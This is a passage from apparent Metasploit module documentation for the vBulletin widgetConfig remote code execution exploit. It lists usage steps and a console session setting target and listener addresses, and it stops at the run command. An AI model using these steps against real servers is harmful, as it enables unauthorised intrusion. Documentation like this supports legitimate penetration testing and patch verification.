2. Start msfconsole
3. Do: `use exploit/multi/http/vbulletin_widgetconfig_rce`

5. Do: `set LHOST [IP]`
6. Do: `run`

## Scenarios

A proof of concept was originally published on [seclist.org](https://seclists.org/fulldisclosure/2019/Sep/31).

```
msf exploit(multi/http/vbulletin_widgetconfig_rce) > set rhosts 192.168.1.25
rhosts => 192.168.1.25
msf exploit(multi/http/vbulletin_widgetconfig_rce) > set lhost 192.168.1.13
lhost => 192.168.1.13
msf exploit(multi/http/vbulletin_widgetconfig_rce) > run
